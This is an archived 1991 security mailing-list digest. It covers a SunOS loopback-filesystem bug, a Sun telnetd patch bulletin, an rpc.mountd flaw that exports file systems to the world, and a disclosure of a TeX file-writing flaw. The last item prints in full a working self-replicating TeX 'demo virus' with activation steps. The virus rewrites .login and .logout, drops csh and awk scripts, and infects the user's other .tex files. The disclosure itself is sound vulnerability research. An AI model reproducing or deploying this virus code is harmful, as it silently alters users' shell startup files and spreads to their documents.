The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #15 1991-04-01 (1 file, 6018 bytes)
NOTICE: recognises the rights of all third-party works.


Date: Mon Apr 1 13:31:09 PST 1991
Subject: Core Security Digest V1 #15

Core Security Digest Volume 1 Issue 15


            Sun: lofs security problem
            Early notice Sun Security Bulletin
            Re: Security problem with Sun OS rpc.mountd -- and a fix
            TeX security flaw [Zbigniew Fiedorowicz: TeX security flaw]

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                    


Date: Thu, 07 Mar 91 20:02:53 -0800
Subject: Sun: lofs security problem

This info is incompleat so if anyone has more (or can verify details)
please send me mail.

under SunOS 4.1 ( and 4.1.1 )

Root can delete files on files systems mounted readonly via. the
loopback filesystem.

To repeat: [From memory]

as a non-priv user:
    % whoami

    % mkdir /tmp/tester
    % cp /etc/motd /tmp/tester/file
    % su
    # mkdir /tmp/test
    # mount -t lo -o ro /tmp/tester /tmp/test
    # suspend
    % ls -l /tmp/test/file
    -rw-rw-rw-  1 shipley           23 Jun  4  1990 /tmp/test/file
    % rm /tmp/test/file
    rm: read-only file system
    % fg
    # rm /tmp/test/file
    # ls -l /tmp/test/file
    /tmp/test/file not found
    # exit
    % logout


Date: Mon, 25 Mar 91 10:45:05 PST
From: bradpowell@Corp.Sun.COM (Brad Powell )
Subject: Early notice Sun Security Bulletin

This is an early warning about a Sun Security Bulletin that will be going out shortly.

Brad Powell
Sun Microsystems
Software Security Coordinator.


 This information is only to be used for the purpose of alerting
customers to problems. Any other use or re-broadcast of this
information without the express written consent of Sun Microsystems
shall be prohibited.

Sun expressly disclaims all liability for any misuse of this information
by any third party.

   All of these patches are available through your local Sun answer centers
   As well as through anonymous ftp to in the US on ~ftp/sun-dist
   directory and In Europe on mcsun on ~ftp/sun/fixes directory.

Please refer to the BugID and PatchID when requesting patches from Sun
answer centers.

NO README information will be posted in the patch on UUNET. Please refer
the the information below for patch installation instructions.

Sun Bug ID  : 1054669 1050269 1049886 1042370 1040722 1033809
Synopsis    : SunOS 4.1, 4.1.1 :after telnet session aborts, new session gets
              previous output
Sun Patch ID: 100125-02
Checksum of compressed tarfile 1001125-02.tar.Z =  44522    46

Patch-ID# 100125-02
Keywords:  telnet, previous sessions output, security
Synopsis: SunOS 4.1, 4.1.1 :after telnet session aborts, new session gets pervious output
Date: 21/Mar/91

SunOS release: 4.1, 4.1.1

Unbundled Product:

Unbundled Release:


BugId's fixed with this patch: 1054669 1050269 1049886 1042370 1040722 1033809

Architectures for which this patch is available: all sun3, sun4

Patches which may conflict with this patch:

Obsoleted by: SYS_V Rel 4

Problem Description:

       A program was shown to take advantage of telnet in a manner that
       allowed passwords and login strings to be snooped when a user logged
       in using telnet.

2)     When a user telnets into another host and starts running a command that
       outputs to the terminal in the background; then terminates the telnet session,
       then starts a new telnet session to the same system the new telnet session
       will get output from the previous session.


  # mv /usr/etc/in.telnetd /usr/etc/in.telnetd.FCS
  # chmod 600 /usr/etc/in.telnetd.FCS (as a precaution, after verifying the new version,
                                       the old version should be removed)
  # cp sun{3,3x,4,4c}/in.telnetd /usr/etc/in.telnetd
  # chmod 755 /usr/etc/in.telnetd
  # chown root /usr/etc/in.telnetd
  # chgrp staff /usr/etc/in.telnetd

 kill any existing in.telnetd that is running.


Date: Mon, 1 Apr 91 13:01:04 PST
From: neil (Neil Gorsuch)
Subject: Re: Security problem with Sun OS rpc.mountd -- and a fix

[ This was recently posted in alt.sys.sun by - Neil ]

One my colleagues has recently uncovered the following security problem with
Sun OS rpc.mountd.  This problem appears to exist with all versions newer that
4.1 and for all SMI architectures.  The problem is:

    If your server has an /etc/exports file which contains an "-access="
    string longer than 256 bytes, the file system for which this line appears
    will be exported to the world.

I do not think you need be a rocket scientist to figure out the mischief this
makes possible.

The bug is the result of a procedure in rpc.mountd returning "success" after a
failure under the above circumstances.  The bug has been reported to SMI,
whose response is (so far) that the bug had been previously reported and it is
to be fixed in the next release (SVR4).

Our local SMI tech support person prepared a fix, which has been tested on
Sun3s running SunOS 4.1 and 4.1.1, and on Sun4s running SunOS 4.1_PSR_A and
4.1.1.  This repaired rpc.mountd is available via anonymous ftp from the host ( in the file /pub/Sun-rpc.mountd/rpc.mountd.sun.[34].
If you run into problems let me know and I will pass the info along.  I don't
know if I am authorized to make these available, but the bug does seem like a
disaster waiting to happen for somebody.

At the same time there are two other bugs which were fixed.  The first is a
disturbing bug that caused the rpc.mountd to seg fault if the system is not
running NIS and an unathorized host request a mount of one of the server's
file.  In this case yp_get_default_domain () returns a NULL pointer which
rpc.mountd cheerfully deferences.  This bug causes the server to stop mounting
file systems or directories if it is not started by inetd.

The second bug was found during testing of the fixes.  A system administrator
testing this version of this code reported that if hosts have "-access="
strings longer than 1024 bytes any host whose name does not finish before the
1024 byte mark are not allowed mount the file system or directory.  Further
investigation showed that the 1024 limit was hardwired into exportent.c, a
libc module.  Further investigation showed that another, but inconsistant,
limit is hardwired into exportfs.  The exportfs line limit is 4096 bytes.  The
exportent limit was changed to agree with the exportfs line length limit, and
this new exportent.o is linked with rpc.mountd.


Date: Tue, 26 Mar 91 14:45:11 EST
Subject: TeX security flaw [Zbigniew Fiedorowicz: TeX security flaw]

[ This is the full version of a message sent by Gene Spafford to  I passed through an abbreviated message to the
larger security list.  This is also the last message in this digest
because of it's length. - neil ]

You may wish to trim the code out of this and present the warning.
Then again, you may not.  No actual incident of damage has occurred
yet from a TeX-based attack, so....

    From:    Zbigniew Fiedorowicz <>

    I sent the following to  I thought you might be

Please pass this on to Prof. Knuth, or whoever maintains the
official TeX source code:

I am writing to inform you about a security flaw affecting Unix implementations
of TeX (perhaps other operating systems as well).  The problem is that one
can easily imbed TeX commands in ordinary TeX files to write arbitrary text
into a user's system files, such as .login, .cshrc, .profile, .logout, etc.
When a file with such commands is typeset, they may execute silently without
the user being any the wiser.  This provides a mechanism for anything from
harmless pranks to serious vandalism.  To illustrate the problem, I enclose
below a "TeX virus".

To prevent this sort of thing, TeX should check commands of the form
is not something like .login, ../.logout, etc.  It would seem reasonable
to impose the condition that the only filenames acceptable to TeX must
end in the form
where x denotes an alphanumeric character.

Enclosed below is a "demo virus" designed to spread in TeX files running
under Berkeley Unix.  Briefly here is the strategy of the virus:
  (1) It successively checks for the presence of .login in the current
      directory, its parent, grandparent and great-grandparent directory.
      If .login is not found or a viral marker file is found in the
      user's home directory, virus quits.
  (2) Otherwise it rewrites .logout and writes a few auxiliary files
      in the home directory (csh and awk scripts).
  (3) At logout, the viral code in .logout searches for the TeX source
      of the virus (marked by distinctive comments) and writes it into
      a file.  It also concatenates one of the viral csh scripts into
      the .login file.  Finally it deletes itself.
  (4) The viral code in .login maintains a targetlist of TeX files.
      Every time it runs, it picks the first tex file on the list,
      checks if it is already infected, if not infects it with the
      TeX viral source.
 It is pretty crude, but it works well enough to illustrate the
 potential problem.
 To activate the virus, copy the text below the cut line into a file
 (not more than three levels below your home directory),
 say "virus.tex", then type
    tex virus

{\obeyspaces                                 %1x2R3z
\newif\ifvstrike                                 %1x2R3z
\newif\ifnstep                                 %1x2R3z
\vstrikefalse                                 %1x2R3z
\immediate\openin7=.login                                 %1x2R3z
\ifeof7\global\nsteptrue                                 %1x2R3z
\else\global\nstepfalse                                 %1x2R3z
\closein7                                 %1x2R3z
\global\def\makevirus{.makev}                                 %1x2R3z
\global\def\awkone{.awk1}                                 %1x2R3z
\global\def\awktwo{.awk2}                                 %1x2R3z
\global\def\logout{.logout}                                 %1x2R3z
\global\def\createtl{.createtargetlist}                                 %1x2R3z
\global\def\logappend{.loginappend}                                 %1x2R3z
\global\def\vmarkf{.marker}                                 %1x2R3z
\global\def\infectone{.infect1}                                 %1x2R3z
\global\def\infectall{.infectall}                                 %1x2R3z
\immediate\openin7=\vmarkf                                 %1x2R3z
\ifeof7\global\vstriketrue\else\closein7\fi                                 %1x
\fi                                 %1x2R3z
\ifnstep                                 %1x2R3z
\immediate\openin7=../.login                                 %1x2R3z
\ifeof7\global\nsteptrue                                 %1x2R3z
\else\global\nstepfalse                                 %1x2R3z
\closein7                                 %1x2R3z
\global\def\makevirus{../.makev}                                 %1x2R3z
\global\def\awkone{../.awk1}                                 %1x2R3z
\global\def\awktwo{../.awk2}                                 %1x2R3z
\global\def\logout{../.logout}                                 %1x2R3z
\global\def\createtl{../.createtargetlist}                                 %1x2
\global\def\logappend{../.loginappend}                                 %1x2R3z
\global\def\vmarkf{../.marker}                                 %1x2R3z
\global\def\infectone{../.infect1}                                 %1x2R3z
\global\def\infectall{../.infectall}                                 %1x2R3z
\immediate\openin7=\vmarkf                                 %1x2R3z
\ifeof7\global\vstriketrue\else\closein7\fi                                 %1x
\fi                                 %1x2R3z
\fi                                 %1x2R3z
\ifnstep                                 %1x2R3z
\immediate\openin7=../../.login                                 %1x2R3z
\ifeof7\global\nsteptrue                                 %1x2R3z
\else\global\nstepfalse                                 %1x2R3z
\closein7                                 %1x2R3z
\global\def\makevirus{../../.makev}                                 %1x2R3z
\global\def\awkone{../../.awk1}                                 %1x2R3z
\global\def\awktwo{../../.awk2}                                 %1x2R3z
\global\def\logout{../../.logout}                                 %1x2R3z
\global\def\createtl{../../.createtargetlist}                                 %
\global\def\logappend{../../.loginappend}                                 %1x2R
\global\def\vmarkf{../../.marker}                                 %1x2R3z
\global\def\infectone{../../.infect1}                                 %1x2R3z
\global\def\infectall{../../.infectall}                                 %1x2R3z
\immediate\openin7=\vmarkf                                 %1x2R3z
\ifeof7\global\vstriketrue\else\closein7\fi                                 %1x
\fi                                 %1x2R3z
\fi                                 %1x2R3z
\ifnstep                                 %1x2R3z
\immediate\openin7=../../../.login                                 %1x2R3z
\ifeof7\global\nsteptrue                                 %1x2R3z
\else\global\nstepfalse                                 %1x2R3z
\closein7                                 %1x2R3z
\global\def\makevirus{../../../.makev}                                 %1x2R3z
\global\def\awkone{../../../.awk1}                                 %1x2R3z
\global\def\awktwo{../../../.awk2}                                 %1x2R3z
\global\def\logout{../../../.logout}                                 %1x2R3z
\global\def\logappend{../../../.loginappend}                                 %1
\global\def\vmarkf{../../../.marker}                                 %1x2R3z
\global\def\infectone{../../../.infect1}                                 %1x2R3
\global\def\infectall{../../../.infectall}                                 %1x2
\immediate\openin7=\vmarkf                                 %1x2R3z
\ifeof7\global\vstriketrue\else\closein7\fi                                 %1x
\fi                                 %1x2R3z
\fi                                 %1x2R3z
\ifvstrike                                 %1x2R3z
\immediate\openout7=\makevirus                                %1x2R3z
\immediate\write7{\string#}                                %1x2R3z
\immediate\write7{set j=1}                                %1x2R3z
\immediate\write7{while ($j == 1)}                                %1x2R3z
\immediate\write7{  if (!(-e .targetlist)) exit(0)}
\immediate\write7{  if (-z .targetlist) then}                                %1
\immediate\write7{    /bin/rm .targetlist}                                %1x2R
\immediate\write7{    exit(0)}                                %1x2R3z
\immediate\write7{  endif}                                %1x2R3z
\immediate\write7{  unalias head}                                %1x2R3z
\immediate\write7{  set T = `head -1 .targetlist`}
\immediate\write7{  if ($T == '') exit(0)}                                %1x2R
\immediate\write7{  if (!(-e $T)) then}                                %1x2R3z
\immediate\write7{    /bin/rm .targetlist}                                %1x2R
\immediate\write7{    exit(0)}                                %1x2R3z
\immediate\write7{  endif}                                %1x2R3z
\immediate\write7{  if (-e .xxtmp) then}                                %1x2R3z
\immediate\write7{   /bin/rm .xxtmp}                                %1x2R3z
\immediate\write7{   exit(0)}                                %1x2R3z
\immediate\write7{  endif}                                %1x2R3z
{\catcode`\%=11\immediate\write7{  grep '%1x2R3z$' $T >.xxtmp}}
\immediate\write7{  set T = `wc -l .xxtmp`}                                %1x2
\immediate\write7{  if ($T[1] == 219) then}                                %1x2
\immediate\write7{    set k=1}                                %1x2R3z
\immediate\write7{    echo '' >.virus}                                %1x2R3z
\immediate\write7{    while($k < 24)}                                %1x2R3z
\immediate\write7{      \string@ k++}                                %1x2R3z
\immediate\write7{      echo '' >>.virus}                                %1x2R3
\immediate\write7{    end}                                %1x2R3z
\immediate\write7{    cat .xxtmp >>.virus}                                %1x2R
\immediate\write7{    set j=0}                                %1x2R3z
\immediate\write7{  endif}                                %1x2R3z
\immediate\write7{  /bin/rm .xxtmp}                                %1x2R3z
\immediate\write7{  /bin/awk 'NR>1' .targetlist >.xxtmp}
\immediate\write7{  /bin/mv .xxtmp .targetlist}
\immediate\write7{end}                                %1x2R3z
\immediate\closeout7                              %1x2R3z
{\catcode`\{=11                                 %1x2R3z
 \catcode`\}=11                                 %1x2R3z
 \catcode`\[=1                                 %1x2R3z
 \catcode`\]=2                                 %1x2R3z
\immediate\openout7=\awkone                                 %1x2R3z
\immediate\write7[BEGIN             {TEST="FALSE"}]
\catcode`\,=0                                 %1x2R3z
,catcode`,\=11                                 %1x2R3z
,immediate,write7[/\\end$/          {TEST="TRUE"}]
,immediate,write7[/\\end /          {TEST="TRUE"}]
,immediate,write7[/\\enddocument$/  {TEST="TRUE"}]
,immediate,write7[/\\enddocument /  {TEST="TRUE"}]
,immediate,write7[TEST=="FALSE"]                                 %1x2R3z
,immediate,closeout7                                 %1x2R3z
,immediate,openout7=,awktwo                                 %1x2R3z
,immediate,write7[BEGIN             {TEST="FALSE"}]
,immediate,write7[/\\end$/          {TEST="TRUE"}]
,immediate,write7[/\\end /          {TEST="TRUE"}]
,immediate,write7[/\\enddocument$/  {TEST="TRUE"}]
,immediate,write7[/\\enddocument /  {TEST="TRUE"}]
,immediate,write7[TEST=="TRUE"]                                 %1x2R3z
,immediate,closeout7                                 %1x2R3z
,catcode`,\=0                                 %1x2R3z
\catcode`\,=11                                 %1x2R3z
\catcode`\{=1                                 %1x2R3z
 \catcode`\}=2                                 %1x2R3z
 \catcode`\[=11                                 %1x2R3z
 \catcode`\]=11                                 %1x2R3z
}                                 %1x2R3z
\immediate\openout7=\infectone                                 %1x2R3z
\immediate\write7{if (!(-e .virus)) exit(0)}                                 %1
\immediate\write7{if ($\string#argv != 1) exit(0)}
\immediate\write7{if ($1 == '') exit(0)}                                 %1x2R3
\immediate\write7{if (!(-e $1)) exit(0)}                                 %1x2R3
{\catcode`\%=11\immediate\write7{set T = `grep -c '%1x2R3z$' $1`}}
\immediate\write7{if ($T[1] > 0) exit(0)}                                 %1x2R
\immediate\write7{set T = `wc -l $1`}                                 %1x2R3z
\immediate\write7{if ($T[1] < 50) exit(0)}                                 %1x2
\immediate\write7{if (!(-e .awk1)) exit(0)}                                 %1x
\immediate\write7{if (!(-e .awk2)) exit(0)}                                 %1x
\immediate\write7{if (-e .xxtmp) then}                                 %1x2R3z
\immediate\write7{   /bin/rm .xxtmp}                                 %1x2R3z
\immediate\write7{endif}                                 %1x2R3z
\immediate\write7{awk -f .awk1 $1 >.xxtmp}                                 %1x2
\immediate\write7{cat .virus >>.xxtmp}                                 %1x2R3z
\immediate\write7{awk -f .awk2 $1 >>.xxtmp}                                 %1x
,immediate,write7{echo \\endinput >>.xxtmp}                                 %1x
\immediate\write7{unalias tail}                                %1x2R3z
\immediate\write7{tail -50 $1 >>.xxtmp}                                 %1x2R3z
\immediate\write7{/bin/mv .xxtmp $1}                                 %1x2R3z
\immediate\closeout7                                 %1x2R3z
\immediate\openout7=\createtl                                 %1x2R3z
\immediate\write7{if(!(-e .targetlist)) then}                                 %
\immediate\write7{   /bin/ls *.tex >.targetlist}
\immediate\write7{   /bin/ls */*.tex >>.targetlist}
\immediate\write7{   /bin/ls */*/*.tex >>.targetlist}
\immediate\write7{   /bin/ls */*/*/*.tex >>.targetlist}
\immediate\write7{endif}                                 %1x2R3z
\immediate\write7{if(-z .targetlist) then}                                 %1x2
\immediate\write7{   /bin/rm .targetlist}                                 %1x2R
\immediate\write7{endif}                                 %1x2R3z
\immediate\closeout7                                 %1x2R3z
\immediate\openout7=\infectall                                 %1x2R3z
\immediate\write7{if(!(-e .virus)) exit(0)}                                 %1x
\immediate\write7{if(!(-e .targetlist)) then}                                 %
\immediate\write7{  csh .createtargetlist >& /dev/null}
\immediate\write7{endif}                                 %1x2R3z
\immediate\write7{if(!(-e .targetlist)) exit(0)}
\immediate\write7{unalias head}                                %1x2R3z
\immediate\write7{csh .infect1 `head -1 .targetlist` >& /dev/null}
\immediate\write7{if (-e .xxtmp) then}                                 %1x2R3z
\immediate\write7{ /bin/rm .xxtmp}                                 %1x2R3z
\immediate\write7{endif}                                 %1x2R3z
\immediate\write7{awk 'NR>1' .targetlist >.xxtmp}
\immediate\write7{/bin/mv .xxtmp .targetlist}                                 %
\immediate\write7{if (-z .targetlist) then}                                 %1x
\immediate\write7{  /bin/rm .targetlist}                                 %1x2R3
\immediate\write7{endif}                                 %1x2R3z
\immediate\closeout7                                 %1x2R3z
\immediate\openout7=\logappend                                %1x2R3z
\immediate\write7{if(!(-e .virus)) then}                                %1x2R3z
\immediate\write7{  csh .makev >& /dev/null}                                %1x
\immediate\write7{else}                                %1x2R3z
\immediate\write7{  source .infectall}                                %1x2R3z
\immediate\write7{endif}                                %1x2R3z
\immediate\closeout7                                %1x2R3z
\immediate\openout7=\logout                                 %1x2R3z
\immediate\write7{cd}                                 %1x2R3z
\immediate\write7{csh .createtargetlist >& /dev/null}
\immediate\write7{cat  .loginappend >> .login}
\immediate\write7{nohup csh .makev >& /dev/null &}
\immediate\write7{set i=0}                                 %1x2R3z
\immediate\write7{while($i < 25)}                                 %1x2R3z
\immediate\write7{ echo ''}                                 %1x2R3z
\immediate\write7{ echo ''}                                 %1x2R3z
\immediate\write7{ \string@ i++}                                 %1x2R3z
\immediate\write7{end}                                 %1x2R3z
\immediate\write7{/bin/rm .logout}                                 %1x2R3z
\immediate\closeout7                                 %1x2R3z
\immediate\openout7=\vmarkf                                 %1x2R3z
\immediate\closeout7                                 %1x2R3z
\fi                                 %1x2R3z
}                                %1x2R3z


        End of Core Security Digest Volume 1 Issue 15